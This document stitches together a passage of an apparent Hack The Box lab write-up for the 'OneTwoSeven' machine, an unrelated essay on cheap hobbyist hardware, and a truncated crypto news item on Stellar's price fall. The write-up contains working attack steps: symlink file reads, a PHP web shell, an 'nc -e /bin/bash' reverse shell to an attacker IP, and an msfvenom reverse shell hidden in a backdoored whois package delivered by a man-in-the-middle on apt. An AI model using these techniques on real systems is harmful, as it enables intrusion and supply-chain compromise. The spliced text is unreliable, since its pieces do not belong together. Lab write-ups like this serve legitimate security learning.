interest that we can examine are signup.php and index.php . If we try to symlink to these files using the same name (i.e. with the php extension), we’ll run into problems with the server trying to execute the php. Instead, we’ll drop the php extension so we can recover the source code. sftp> ln -s /var/www/html/index.php index sftp> ln -s /var/www/html/signup.php signup Let’s take a look at index first. We can’t view/get the files from within the sftp shell. The trick here is that we need to enter view-source:http://10.10.10.133/~ots-yZjFkZWY/index in our browser. When we do, we’re presented with the php source code. In it, we can see a breadcrumb. It lets us know that if we are accessing this page from the server itself (127.0.0.1) or 104.24.0.54, a link to the admin panel will be visible. The admin panel itself appears to be listening on port 60080 . We’ll keep this in mind as we progress. The next file, signup , contains a juicy piece of information. Specifically, it shows us how usernames and passwords are generated for the sftp logins. Let’s confirm what the username function does with our ip address. 1 php > $hash = md5('10.10.14.3'); 2 php > print $hash; 3 122f1def6a8b5601963ee3163b041696 4 5 php > $first_username = substr($hash, 0, 8); 6 php > print $first_username; 7 122f1def 8 9 php > print base64_encode($first_username); 10 MTIyZjFkZWY= 11 php > $encoded_username = base64_encode($first_username); 12 13 php > print str_replace('=', '', $encoded_username); 14 MTIyZjFkZWY 15 php > $replaced_username = str_replace('=', '', $encoded_username); 16 17 php > print substr($replaced_username, 3); 18 yZjFkZWY 19 20 php > $final = substr($replaced_username, 3); 21 php > print "ots-" . $final; 22 ots-yZjFkZWY line 1: generates the md5sum of the given ip address line 5: grabs the first 8 characters of the hashed ip line 9: base64 encodes the shortened hash line 13: removes any equal signs from the string line 17: returns a substring of the shortened/replaced hash starting with the fourth character and going out to the end of the string line 21: concatenates the string “ots-” with the result of all the above actions, giving us our username The password is much less complex. php > $hash = md5('10.10.14.3'); php > print substr($hash, 0, 8); 122f1def Ok, so why do we care? If any other users follow the ots- pattern, we can get their password! Let’s check out /etc/passwd and see if there are any users of interest. user.txt Back in our sftp shell, we can symlink /etc/passwd and check out the contents. sftp> ln -s /etc/passwd passwd ots-yODc2NGQ:x:999:999:127.0.0.1:/home/web/ots-yODc2NGQ:/bin/false ots-yZjFkZWY:x:1001:1001:10.10.14.3:/home/web/ots-yZjFkZWY:/bin/false In the output above, we can see our username. The nice thing here is that the ip address is noted in the GECOS field of each /etc/passwd entry. Let’s take the next logical step and grab the password for the user associated with 127.0.0.1! php > print substr(md5('127.0.0.1'), 0, 8); f528764d There we have it, a set of credentials! Let’s use them on the sftp service. sftp [email protected] [email protected]'s password: f528764d Connected to [email protected]. sftp> ls -al drwxr-xr-x 3 0 0 4096 Feb 15 2019 . drwxr-xr-x 3 0 0 4096 Feb 15 2019 .. drwxr-xr-x 2 999 999 4096 Feb 15 2019 public_html -r--r----- 1 0 999 33 Feb 15 2019 user.txt After logging in, we see user.txt waiting for us. All that’s left is to download it and turn it in! sftp> get user.txt Fetching /user.txt to user.txt /user.txt 100% 33 0.3KB/s 00:00 cat user.txt ════════════ 93a4... Hol’up. We don’t even have a shell? Let’s fix that as we go for root. Unauth to www-admin-data .login.php.swp Let’s revisit the sftp server yet again. This time, we’ll link the root of the filesystem (or at least our view of it). sftp> cd public_html/ sftp> ln -s / root We’ll make use of our browser again to view the results. Drilling down into the folders, the only file of interest we have permission to browse to at this point is .login.php.swp , located at http://onetwoseven.htb/~ots-mODVhZTM/var/www/html-admin/ . Let’s download the file and analyze its contents. Running the file command on .login.php.swp shows us that it’s a vim swap file. (firefox may have named the file login.php.swp on your behalf, don’t sweat it. The following steps work either way) file .login.php.swp ═══════════════════ login.php.swp: Vim swap file, version 8.0, pid 1861, user root, host onetwoseven, file /var/www/html-admin/login.php In this case, when vim opened the login.php file for editing, it created a hidden swap file .login.php.swp . This is pretty standard vim behavior and it’s quite common to see these laying around as a result of vim exiting in a weird state or vim editors being left open. Luckily for us, having the swap file makes it incredibly easy to recover the original file. vim -r .login.php.swp ═════════════════════ Using swap file ".login.php.swp" "/var/www/html-admin/login.php" [New DIRECTORY] Recovery completed. You should check if everything is OK. (You might want to write out this file under another name and run diff with the original file to check for changes) You may want to delete the .swp file now. Press ENTER or type command to continue Once we’re presented with the prompt above, we can press ENTER and revel in the glory of our freshly recovered file. There are a few lines that we’re definitely concerned with; we’ll start with line #1. 1 <?php if ( $_SERVER[ 'SERVER_PORT' ] != 60080 ) { die (); } ?> 2 Line #1 tells us that we can expect the server running this php file to be on port 60080. Recall from our source code recovery that we’ve seen this port listed before. With all we’ve seen so far, it’s safe to assume that it will be running on localhost. Next up, line #26 lets us know that this php file is tied to their backend administration. 26 < a class = "navbar-brand" href = "/login.php" >OneTwoSeven - Administration Backend</ a > The really juicy stuff is on line #78; an admin username and password hash! 78 if ($_POST['username'] == 'ots-admin' && hash('sha256',$_POST['password']) == '11c5a42c9d74d5442ef3cc835bda1b3e7cc7f494e704a10d0de426b2fbe5cbd8') { Often, we want to reach for the cool tools like hashcat. However, we can instead just use crackstation.net to get the cleartext password. ssh Tunnel to Admin Panel We’ve got creds to the admin panel, but we can’t get to the site (yet). Let’s try setting up an ssh tunnel to the admin panel. ssh [email protected] [email protected]'s password: 122f1def This service allows sftp connections only. Connection to onetwoseven.htb closed. Ok, we can’t ssh, or can we? Let’s add a -v to the ssh command and take a closer look. ssh -v [email protected] OpenSSH_8.0p1 Debian-4, OpenSSL 1.1.1c 28 May 2019 debug1: Reading configuration data /etc/ssh/ssh_config debug1: /etc/ssh/ssh_config line 19: Applying options for * -------------8<------------- debug1: Next authentication method: password [email protected]'s password: 122f1def debug1: Authentication succeeded (password). Authenticated to onetwoseven.htb ([10.10.10.133]:22). debug1: channel 0: new [client-session] debug1: Requesting [email protected] debug1: Entering interactive session. The conclusion we can draw from the above output is that the connection succeeds and the ssh connection gets established before it is disconnected by the server. We’ll use this fact to set up an ssh forward tunnel to hit port 60080 on the server’s loopback address. If you’re new to ssh tunneling, check out my writeup of Vault and follow along. There are a lot of traffic bending techniques to be learned on that one. Two ssh options will assist us in setting up a tunnel without an interactive shell. Let’s check them out. ssh -Nf [email protected] -L 60080:127.0.0.1:60080 [email protected]'s password: 122f1def ssh options used: -N Do not execute a remote command. This is useful for just forwarding ports. -f Requests ssh to go to background just before command execution. -L Specifies that connections to the given TCP port on the local (client) host are to be forwarded to the given host and port on the remote side. Below we see a breakdown of the tunneling options used. forward tunnel options used: 60080 The port on the local end to listen on; (kali:60080) 127.0.0.1 Where the traffic is destined after reaching 60080 from the point of view of the creator of the tunnel (traffic will start on kali and be sent through 10.10.10.133 to finally hit 127.0.0.1 from 10.10.10.133's point of view) 60080 The port to which traffic is destined. After running the command above, we’ll take a look at netstat on kali. When we do, we should see a listener on port 60080. netstat -ntlp Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 127.0.0.1:60080 0.0.0.0:* LISTEN 12068/ssh tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 1/init tcp6 0 0 ::1:60080 :::* LISTEN 12068/ssh tcp6 0 0 :::111 :::* LISTEN 1/init tcp6 0 0 127.0.0.1:8080 :::* LISTEN 27777/java We can see that there is a listener on 60080 on our kali machine. Any traffic sent there will be forwarded to 10.10.10.133’s localhost interface on port 60080. Knowing that, we can browse to the local tunnel which will move all of our traffic through the tunnel over to the target. Let’s check it out! Admin Panel Web Shell With our tunnel in place, we can browse to http://127.0.0.1:60080 and see the login screen. We’ll proceed with our creds ots-admin:Homesweethome1 After logging in, we’re greeted by the addons menu. The most obvious thing to try is the big Plugin Upload section at the bottom. We can use the developer tools to enable the Submit Query button. When we view the button in the dev tools, we see a disabled attribute on the \<input\> tag. We can simply remove the attribute to enable the button. Let’s try to upload a simple php web shell a try for funsies. While we’re at it, let’s capture the POST request in Burp, as it will come in handy later. shell.php ════════════════ <?php system ($_GET[ 'epi' ]); ?> The website responds with a 404 error. If we browse to 127.0.0.1:60080/menu.php?addon=addons/ots-man-addon.php , we can see a note that tells us disabled features result in 404 errors. We can assume that there has been an attempt to disable file upload functionality. There is also a note on the page above: The addon manager must not be executed directly but only via the provided RewriteRules So, when we want to download one of the files listed on the menu, we request it via a URL similar to this: http://127.0.0.1:60080/addon-download.php?addon=[SOME_PLUGIN] . Whenever addon-download.php is requested, the webserver internally rewrites the request to be addons/ots-man-addon.php . Notice that both addon-upload.php and addon-download.php are both handled by the same file: ots-man-addon.php . Since we’re most interested in the file responsible for handling file upload and download, let’s use one of the handy links to the side of each addon ( [DL] ) and grab ots-man-addon.php to analyze its source. Below is the snippet of code we’re concerned with. Everything below what’s shown here is unrelated to getting our shell on target. 1 <?php session_start (); if ( ! isset ($_SESSION[ 'username' ])) { header ( "Location: /login.php" ); }; if ( strpos ($_SERVER[ 'REQUEST_URI' ], '/addons/' ) !== false ) { die (); }; 2 # OneTwoSeven Admin Plugin 3 # OTS Addon Manager 4 switch ( true ) { 5 # Upload addon to addons folder. 6 case preg_match ( '/\/addon-upload.php/' ,$_SERVER[ 'REQUEST_URI' ]) : 7 if ( isset ($_FILES[ 'addon' ])){ 8 $errors = array (); 9 $file_name = basename ($_FILES[ 'addon' ][ 'name' ]); 10 $file_size = $_FILES[ 'addon' ][ 'size' ]; 11 $file_tmp = $_FILES[ 'addon' ][ 'tmp_name' ]; 12 13 if ($file_size > 20000 ){ 14 $errors[] = 'Module too big for addon manager. Please upload manually.' ; 15 } 16 17 if ( empty ($errors) == true ) { 18 move_uploaded_file ($file_tmp,$file_name); 19 header ( "Location: /menu.php" ); 20 header ( "Content-Type: text/plain" ); 21 echo "File uploaded successfull.y" ; 22 } else { 23 header ( "Location: /menu.php" ); 24 header ( "Content-Type: text/plain" ); 25 echo "Error uploading the file: " ; 26 print_r ($errors); 27 } 28 } 29 break ; 30 The first piece of code that concerns us is line 1. Below, we have line 1 in an easier to read format. 1 <?php 2 session_start (); 3 4 if ( ! isset ($_SESSION[ 'username' ])) 5 { 6 header ( "Location: /login.php" ); 7 }; 8 if ( strpos ($_SERVER[ 'REQUEST_URI' ], '/addons/' ) !== false ) 9 { 10 die (); 11 }; 12 line 8: if the string /addons/ is found anywhere in our URL, the server will sever our connection and our request will never proceed through the rest of the code This means we can’t use the php file directly, but we can use the RewriteRules discussed above to get our requests to this file. Next, we’ll take a look at hitting the case statement that controls entry into the code branch where file uploads occur. 6 case preg_match('/\/addon-upload.php/',$_SERVER['REQUEST_URI']): The preg_match works on regular expression, so it’s slightly different than the strpos discussed above. We want the code on line 6 to evaluate to true to follow that branch of code. That means that we need to include the string /addon-upload.php somewhere in our URL. There’s a nice resource I use when playing with regex https://regex101.com. In the screenshot below, we’ve checked the radio button on the left to designate php-style regex. The regex itself doesn’t include the first and last / s. Those forward slashes denote the beginning and end of the regular expression, nothing more. Recall our request that we captured in Burp earlier. We sent a request to http://127.0.0.1:60080/addon-upload.php and got a 404 response. We need a way to include the required string, but not get the 404. From our discussion about RewriteRules, we know that there are two methods of requesting this file. We’re going to have to request http://127.0.0.1:60080/addon-download.php to even get a request through to the file. Then, we just need to include the required string in the request. Let’s go back to our captured request in Burp and alter the URL to match what we’ve found. The only change we made is highlighted on the left. We changed the URL and resent the file upload request we captured earlier. This time, we clearly see the successful response message. All that’s left to do is check that our shell.php works as intended. For the sake of moving forward, let’s grab an interactive shell. First, spin up a listener. nc -nvlp 12345 And then, trigger the callback. http://127.0.0.1:60080/addons/shell.php?epi=nc -e /bin/bash 10.10.14.3 12345 Finally, let’s grab a TTY. python -c 'import pty;pty.spawn("/bin/bash")' www-admin-data@onetwoseven:/var/www/html-admin/addons$ \o/ - access level: www-admin-data www-admin-data to root A simple sudo -l will show us the way forward. Matching Defaults entries for www-admin-data on onetwoseven: env_reset, env_keep+="ftp_proxy http_proxy https_proxy no_proxy", mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User www-admin-data may run the following commands on onetwoseven: (ALL : ALL) NOPASSWD: /usr/bin/apt-get update, /usr/bin/apt-get upgrade We see some interesting environment variables are preserved when using sudo. The first thing that comes to mind is being able to proxy connections in a way that will facilitate exploitation. One piece of information we need to examine to confirm our suspicions is what repositories the box is configured to use. We can do that by looking in /etc/apt/sources.list.d for any .list files. These files contain repository URLs and some additional metadata for the package manager to use. cat /etc/apt/sources.list.d/onetwoseven.list ════════════════════════════════════════════ # OneTwoSeven special packages - not yet in use deb http://packages.onetwoseven.htb/devuan ascii main Nice! An unused repository. We’ll need to keep this URL in mind for later. A package manager (like apt-get et. al) requests software/libraries/updates etc from remote repositories. Based on the fact that we can call both apt-get update and apt-get upgrade without a password, we can control proxy related environment variables, and that there is an unused repository configured; we can be reasonably confident that we’re able to perform a man-in-the-middle attack against the package manager. We’ll use the MitM attack to install backdoored software on the machine. Let’s see what that looks like. Building a Backdoored Package A word about packages from Debian’s wiki A Debian package is a collection of files that allow for applications or libraries to be distributed via the Debian package management system. The aim of packaging is to allow the automation of installing, upgrading, configuring, and removing computer programs for Debian in a consistent manner. Let’s start by selecting a legitimate package installed on the system. We do this because the commands we can run are update and upgrade . This means we can’t install new software. When we run update , the package manager will see there’s a new package. When we run upgrade , the package manager will then download and install that updated (backdoored) package. We’ll use dpkg to get a list of installed software. dpkg -l ═══════ ||/ Name Version Architecture Description +++-======================================-==================================-============-=============================================================================== ii adduser 3.115 all add and remove users and groups ii apache2 2.4.25-3+deb9u6 amd64 Apache HTTP Server ii apache2-bin 2.4.25-3+deb9u6 amd64 Apache HTTP Server (modules and other binary files) -------------8<------------- ii whiptail 0.52.19-1+b1 amd64 Displays user-friendly dialog box ii whois 5.2.17~deb9u amd64 intelligent WHOIS client ii xauth 1:1.0.9-1+b2 amd64 X authentication utility -------------8<------------- There is no rhyme or reason here, so let’s use the whois package. To find the proper version of the package we need, we’ll ask the package manager what’s currently installed. Package Download apt-cache show whois ════════════════════ Package: whois Version: 5.2.17~deb9u1 Installed-Size: 343 Maintainer: Marco d'Itri <[email protected]> Architecture: amd64 Depends: libc6 (>= 2.15), libidn11 (>= 1.13) Description: intelligent WHOIS client Description-md5: 28e9df99a50bdfe098edfcf773417990 Tag: implemented-in::c, interface::commandline, network::client, protocol::ip, protocol::ipv6, role::program, suite::gnu, use::checking, use::searching Section: net Priority: optional Filename: pool/DEBIAN/main/w/whois/whois_5.2.17~deb9u1_amd64.deb Size: 76772 MD5sum: ac528a3b41bcdc8e78084d61e4aa2957 SHA256: 296aa4d2bb6ee15c7db129a4a3a0c8abbf1acb75770b4ee9241a47ee2ca37551 A quick google search for 5.2.17~deb9u1 brings us to packages.debian.org/stretch/whois . Clicking through to the AMD64 download gets us the legitimate .deb file that we’ll be modifying. Below the wget command is included for your convenience. wget http://http.us.debian.org/debian/pool/main/w/whois/whois_5.2.17~deb9u1_amd64.deb Package Modification Now that we’ve got our package, we can make our malicious modifications. We’ll begin by extracting the package. dpkg-deb -R whois_5.2.17~deb9u1_amd64.deb backdoored-whois The command above should give us the following directory structure. backdoored-whois/ ├── DEBIAN │ ├── control │ └── md5sums └── usr ├── bin │ ├── mkpasswd │ └── whois └── share ├── doc │ └── whois -------------8<------------- ├── locale │ ├── cs │ │ └── LC_MESSAGES │ │ └── whois.mo -------------8<------------- └── man ├── man1 │ ├── mkpasswd.1.gz │ └── whois.1.gz └── man5 └── whois.conf.5.gz Our next step is to create our callback binary; we’ll do this using msfvenom . msfvenom -p linux/x64/shell_reverse_ipv6_tcp LHOST=dead:beef:2::1001 LPORT=12345 -f elf -o backdoored-whois/usr/bin/revshell ═══════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════ [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder or badchars specified, outputting raw payload Payload size: 90 bytes Final size of elf file: 210 bytes Saved as: backdoored-whois/usr/bin/revshell You may be wondering, why ipv6? The answer is simple; I wrote the linux 64-bit bind/reverse shell payloads and enjoy putting them to use. Don’t forget to make ./usr/bin/revshell executable! chmod +x ./usr/bin/revshell Next, we’ll create our postinst maintainer script. The postinst script will run after all the contents of the package are unpacked. We likely could use some of the other maintainer scripts, but we’re going to use a script to call our binary, so we want the binary to be unpacked to disk before it’s executed. There is more information in the debian packaging documentation found here and here if you’re interested. backdoored-whois/DEBIAN/postinst ════════════════════════════ #!/bin/sh /usr/bin/revshell & Don’t forget to make postinst executable! chmod 755 backdoored-whois/DEBIAN/postinst With that done, we can repackage our malicious whois update. dpkg-deb -b backdoored-whois ════════════════════════════ dpkg-deb: building package 'whois' in 'backdoored-whois.deb'. That’s it for the package, now we need to build the repository structure. We’ll do that next. Building the Repository Recall that the target’s package manager is going to reach out to us as though we are the package repository. The package manager is going to expect a certain directory structure as well as a few files to be present. We’ll go ahead and create those now. First, let’s create a working directory for the repository and move our backdoored-whois.deb into it. mkdir barebones-repo mv backdoored-whois.deb barebones-repo/ cd barebones-repo Release file Next, we’ll create a Release file inside barebones-repo . According to the Debian wiki, “A Release file shall contain meta-information about the distribution and checksums.” To create a Release file, we’ll just copy and paste the output from apt-cache show whois from the target system (remember, we already ran this once above). apt-cache show whois ════════════════════ Package: whois Version: 5.2.17~deb9u1 Installed-Size: 343 Maintainer: Marco d'Itri <[email protected]> Architecture: amd64 Depends: libc6 (>= 2.15), libidn11 (>= 1.13) Description: intelligent WHOIS client Description-md5: 28e9df99a50bdfe098edfcf773417990 Tag: implemented-in::c, interface::commandline, network::client, protocol::ip, protocol::ipv6, role::program, suite::gnu, use::checking, use::searching Section: net Priority: optional Filename: pool/DEBIAN/main/w/whois/whois_5.2.17~deb9u1_amd64.deb Size: 76772 MD5sum: ac528a3b41bcdc8e78084d61e4aa2957 SHA256: 296aa4d2bb6ee15c7db129a4a3a0c8abbf1acb75770b4ee9241a47ee2ca37551 Now we need to alter a few of the fields in the Release file. Specifically, we need to update the Version, Filename, Size, MD5sum, and SHA256 fields. The first two changes are simple. We just increment the version number and the filename. We do this so that the package manager recognizes the need to update this particular package (i.e. the one installed on the target system is older than the one in the repo). OLD LINE: Version: 5.2.17~deb9u1 NEW LINE: Version: 5.2.17~deb9u2 OLD LINE: Filename: pool/DEBIAN/main/w/whois/whois_5.2.17~deb9u1_amd64.deb NEW LINE: Filename: pool/DEBIAN/main/w/whois/whois_5.2.17~deb9u2_amd64.deb After that, we’ll update the Size field. We just need the new size of our malicious .deb. ls -l backdoored-whois.deb -rw-r--r-- 1 root root 77276 Aug 30 06:36 backdoored-whois.deb OLD LINE: Size: 76772 NEW LINE: Size: 77276 Next, we update the MD5sum field. To update it, we’ll need to grab the md5 hash of our .deb. md5sum backdoored-whois.deb 2845688fc677c713b2ef8b187d0aeb71 backdoored-whois.deb OLD LINE: MD5sum: ac528a3b41bcdc8e78084d61e4aa2957 NEW LINE: MD5sum: 2845688fc677c713b2ef8b187d0aeb71 Finally, the SHA256 field. sha256sum backdoored-whois.deb 725c55a28c783e6f6846694153fd2dfbf78df11fdccaf839288562aa55a67217 backdoored-whois.deb OLD LINE: SHA256: 296aa4d2bb6ee15c7db129a4a3a0c8abbf1acb75770b4ee9241a47ee2ca37551 NEW LINE: SHA256: 725c55a28c783e6f6846694153fd2dfbf78df11fdccaf839288562aa55a67217 Great, now our Release file is complete! Next up, we need a Packages file. Packages files Fortunately, the content is the same as Release , so a simple copy is sufficient. cp Release Packages Another requirement we need to satisfy is that we need a gzipped Packages file. Again, this is a simple step. gzip Packages -c > Packages.gz Repository Directory Structure We’re nearing the end of the repository setup steps. We now need to create the directory structure that the package manager expects to see. My actual process for figuring this out was to have all of the MitM pieces in place (described below) and trying to run apt-get update . Each time I did, it would error out with messages like E: Failed to fetch http://packages.onetwoseven.htb/devuan/dists/ascii/main/binary-amd64/Packages 404 File not found . I repeatedly ran the command, checked the errors, and built the things that were needed. The two mkdir commands below will setup our repo directories. mkdir -p devuan/dists/ascii/main/binary-amd64 mkdir -p devuan/pool/DEBIAN/main/w/whois Finally, we need to put all of our files in their proper places. Part of this is renaming backdoored-whois.deb to match the filename we used in the Release file. mv backdoored-whois.deb devuan/pool/DEBIAN/main/w/whois/whois_5.2.17~deb9u2_amd64.deb mv Packages* devuan/dists/ascii/main/binary-amd64/ mv Release devuan/dists/ascii/ Our repo should look like this now. barebones-repo/ └── devuan ├── dists │ └── ascii │ ├── main │ │ └── binary-amd64 │ │ ├── Packages │ │ └── Packages.gz │ └── Release └── pool └── DEBIAN └── main └── w └── whois └── whois_5.2.17~deb9u2_amd64.deb That’s it! We now have a minimal repo from which we can serve up our malicious package. Man in the Middle Alright, we’re in the home stretch. There are a few small steps we need to take to properly handle the requests that will originate on the target machine. To begin, we’ll set up a reverse ssh tunnel to get the traffic sent to the “proxy” back to our local machine. ssh -Nf [email protected] -R 8002:127.1:8080 [email protected]'s password: 122f1def Where we used port 8002; the actual port doesn’t matter too much, as long as it isn’t already bound. Our proxy will listen on kali on port 8080, so that’s where we want the remote traffic to come to on kali’s localhost. reverse tunnel options used: 8002 The port on the remote end to listen on; (10.10.10.133:8002) 127.1 Where the traffic flows after reaching 8002 from the point of view of the creator of the tunnel (traffic dumps out on kali; the creator's localhost) 8080 The port to which traffic is destined. Next, we’ll set up the proxy. We’re going to use BurpSuite as our proxy. Burp listens on port 8080 by default. All we need to do is start it up. It’s dealer’s choice on how to get it started, click the icon or run the command below. java -jar $(which burpsuite) Also, ensure that Intercept is off. Huzzah, we’ve set up our proxy! Now, remember when we looked at the repositories that the target machine is configured to use? We found the URL http://packages.onetwoseven.htb/devuan . All of the requests sent to our proxy will ultimately be looking for the packages.onetwoseven.htb subdomain. Since we’re impersonating this repository, we need to tell Burp that WE are deb packages.onetwoseven.htb . We’ll do this by modifying /etc/hosts . 1 /etc/hosts 2 ══════════ 3 4 127.0.0.1 localhost packages.onetwoseven.htb 5 127.0.1.1 kail 6 -------------8<------------- With that done, Burp will proxy the requests coming to it “out” to packages.onetwoseven.htb which is really our kali’s localhost interface. Our last step before exploitation is to start the webserver that will host the files in our repository. cd barebones-repo python3 -m http.server 80 Now all of the pieces are in place for us to MitM the package manager. Let’s see it in action! Exploitation Before running the exploit, we need an ipv6 listener (remember the msfvenom command?). nc -vnl6p 12345 Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Listening on :::12345 Now, on the target machine, we first run apt-get update followed by apt-get upgrade sudo http_proxy=http://127.0.0.1:8002 apt-get update ════════════════════════════════════════════════════ Ign:1 http://packages.onetwoseven.htb/devuan ascii InRelease Get:2 http://packages.onetwoseven.htb/devuan ascii Release [627 B] -------------8<------------- Fetched 1093 B in 12s (86 B/s) Reading package lists... Done W: The repository 'http://packages.onetwoseven.htb/devuan ascii Release' is not signed. N: Data from such a repository can't be authenticated and is therefore potentially dangerous to use. N: See apt-secure(8) manpage for repository creation and user configuration details. W: Conflicting distribution: http://packages.onetwoseven.htb/devuan ascii Release (expected ascii but got ) E: Failed to fetch http://de.deb.devuan.org/merged/dists/ascii/main/binary-amd64/Packages Connection failed E: Failed to fetch http://de.deb.devuan.org/merged/dists/ascii-security/main/binary-amd64/Packages Connection failed E: Some index files failed to download. They have been ignored, or old ones used instead. We see some warnings and errors in the output above, but they can be ignored. For the upgrade command, if we see whois listed in the packages to be upgraded, we know that our exploit has at least partially worked; the package manager is going to try to upgrade the package. sudo http_proxy=http://127.0.0.1:8002 apt-get upgrade ═════════════════════════════════════════════════════ Reading package lists... Done Building dependency tree Reading state information... Done Calculating upgrade... Done The following packages will be upgraded: debian-archive-keyring tzdata whois 3 upgraded, 0 newly installed, 0 to remove and 0 not upgraded. Need to get 77.2 kB/426 kB of archives. After this operation, 31.7 kB of additional disk space will be used. Do you want to continue? [Y/n] y y WARNING: The following packages cannot be authenticated! whois Install these packages without verification? [y/N] y y Get:1 http://packages.onetwoseven.htb/devuan ascii/main amd64 whois amd64 5.2.17~deb9u2 [77.2 kB] Fetched 77.2 kB in 0s (281 kB/s) Reading changelogs... Done -------------8<------------- Setting up whois (5.2.17~deb9u1) ... Processing triggers for man-db (2.7.6.1-2) ... If all went well, we should see a connection come back to our netcat listener. -------------8<------------- Ncat: Connection from dead:beef::250:56ff:feb2:e2a6. Ncat: Connection from dead:beef::250:56ff:feb2:e2a6:53952. id uid=0(root) gid=0(root) groups=0(root) cat /root/root.txt 2d38... There we go, we’ve successfully MitM’d a package manager to escalate privileges. High five!! \o/ - root access I hope you enjoyed this write-up or at least found something useful. Drop me a line on the HTB forums or in chat @ NetSec Focus. Additional Resources

It’s a pretty great time to be a software engineer. Sure you get great pay and perks, but my favorite part of this vocation is how stupidly easy and cheap it is to try out new ideas. Developers have no shortage of libraries, frameworks, and tools that make it incredibly easy to quickly throw things together into a functional prototype. I don’t think many would dispute that software is a lucrative and amazing field to be in these days, but I have a hunch that something new is coming. Recently I’ve noticed the same sort of cheap and easy development cycle becoming widely available on the hardware front. First there was the Arduino, which allowed anyone to jumble together a circuit with a few sensors, motors, and lights and have a working prototype. Then came the Raspberry Pi, which gave you a fully capable credit card-sized linux computer for $35. Now we’re seeing things like $99 “supercomputers” (the 16-core Parallella) and a $60 quad-core computer (the ODROID U3). These are serious pieces of hardware being sold at some insanely low prices. We have the recent boom in mobile computing to thank for the rise of these tiny and cheap computers. Competition between companies like Apple, Samsung, and Broadcom has been driving down the cost of ARM processors for mobile devices while simultaneously increasing their performance to be near-desktop levels. The Raspberry Pi, Paralella, and ODROID are all side-effects of the intense competition happening in the mobile sector. Ultimately, hardware hobbyists are the winners here as it’s never been cheaper to get a high powered, network ready microprocessor into projects. Plus, since these are fully functional linux computers, you no longer have to write your project’s software in low-level languages like C or C++. You can have full control over GPIO (general purpose in/out) pins using languages like Python or Ruby. The ability to write code for embedded systems using interpreted languages is a major development. These cheap processors are only as useful as the software that runs them, and reducing the amount of complexity required to write good software for hardware projects is a big win for everyone. The Arduino is a fantastic piece of hardware, but do you know how difficult it is to write network-enabled software for it? Here’s the code required to make an HTTP request to Google. Compare that to Python’s wonderful requests library. If you had an idea for a web-api based hardware project, what would you rather write it in? This is a 1.7GHz quad-core processor with 2GB of RAM, a network port, 3 USB ports, and HDMI out for $60... This sort of hardware would cost thousands of dollars 15 years ago. So far we’ve seen that the cost of hardware is going down and that it’s easier to write software for this new hardware. A problem that remains is the steep learning curve of building circuits and complex devices. The good news is hardware education is a field that is also rapidly improving. Companies like Adafruit and Sparkfun have realized that education is in their best interest. They’ve turned their hardware catalogs into tutorial websites for aspiring hobbyists to use their parts in order to create amazing things. Want to learn about the different types of motors you can put in your projects? There’s a tutorial for that. Want to make a device that assists in cocktail mixing? Yep, there’s one for that too. Hardware education is now monetarily incentivized and because of this, it’s getting good. Really good. At the same time we have these tiny, network-enabled linux computers becoming cheap, powerful, widely available, and controlled by high level, high productivity languages. This is a recipe for an amazing future for us hackers. Remember how jQuery, Rails, Django, Bootstrap and tons of tutorials made web-development and rapid prototyping incredibly easy for us? That’s exactly what’s happening for hardware, and I think the result is going to be even more amazing than what we’ve created on the web. Things are definitely looking bright for the hardware side of technology, but I don’t want you to get the impression that hardware will be just as easy as software to create. For starters, in order to put any of these cheap computers to good use, you have to first be able to write the software that controls them. While this is getting better now that you can control GPIO pins with interpreted languages, it still requires a decent knowledge of programming. There are also plenty of other obstacles in the way of easy development with hardware. Some of these obstacles may be broken, however there are others which are firmly enforced by nature. For one, hardware will never be as cheap as software to build. Software is virtually “creating something out of nothing.” When you start a new project in software there’s nothing to buy; you just open a text editor and begin writing code. Hardware requires you to order parts, find an open workspace, have the correct tools (most of which are not free), etc. It’s significantly more difficult to do this than downloading a text editor and compiler. In addition, small electronic parts may be cheap on Adafruit and Sparkfun, but shipping is not. It’s hard to justify buying a sensor for 95 cents and paying $4 in shipping just to get it to you. You have to buy parts within larger orders in order for it to be reasonably cheap which makes it difficult to start a project on a whim. There’s also the issue of deployment. Software is incredibly easy to deploy into production. I can create a web app, put it up on a service like Heroku, and have it instantly scale to an audience of millions in around 10 minutes (if you can, take a second and think about how incredible this is). Hardware is an entirely different game. Going from prototype to scaled deployment takes tons of time, money, and work. Sure it takes time, money, and work to scale software properly, but hardware is an entirely different game. You have to design PCBs to replace your breadboards, find sources for the parts you need, get a manufacturer to assemble the parts, etc. and even then you’re only scraping the surface of scaling your device. Scaling software is just significantly easier and cheaper. The list of difficulties which separate us from a hardware hobbyist utopia could go on for a while. While some issues like manufacturing may be turned upside-down by inventions like the 3D printer, I’m not sure how the issue of parts, shipping, and tools could be made as easy as it is for software. Then again, I would have never believed that my thousand-dollar Gateway 2000 would be dwarfed by a $35 computer that fit in my pocket a mere 12 years later. We live in a pretty crazy world these days, so I wouldn’t be entirely surprised if the challenges preventing simple hardware development/deployment were mostly overcome in the next decade or so. However even with these challenges in place today, I still think we’re headed towards a very exciting future. The advent of cheap microcomputers, increased education, and the ability to write high level code on embedded platforms could be the start of a major growth in hardware hacking and startups. I think these improvements will transform the hardware side of technology into a playground of ideas in a similar way that jQuery, Rails, and Bootstrap did for the web. We’ve been given new a set of cheap and powerful toys. Let’s play with them and make awesome things!

In mid-July, Binance announced support for both Stellar (XLM) staking and airdrop rewards. Despite Binance planning to distribute some 9,500,000 XLM tomorrow, the price of XLM has plummeted some -52% since the announcement. Despite the long-awaited Stellar airdrop on Binance happening tomorrow, things are not looking good for Stellar by any metric. In fact, among all the leading cryptocurrencies, Stellar posted the worst losses in 2019 thus far. Two weeks ago, we reported that XLM was down -38.11% since the start of the year. Since then, this has only gotten worse. From the Binance announcement in July to now, the cryptocurrency is down some -52%. A Surprise Stellar Drop In mid-July, XLM was trading at around the $0.125 mark. Now, at the time of writing, it is oscillating around the $0.06 price point. This spectacular decline has happened in just over a month. Trade cryptocurrencies like Stellar at the world’s largest exchange by volume, Binance, and help out BeInCrypto in the process. Many were hoping that the Binance announcement would provide one of the leading cryptocurrencies with some relief. The exchange announced then that it would be supporting Stellar staking on its platform, meaning that users could store their XLM on Binance for monthly rewards. Moreover, the exchange would also be 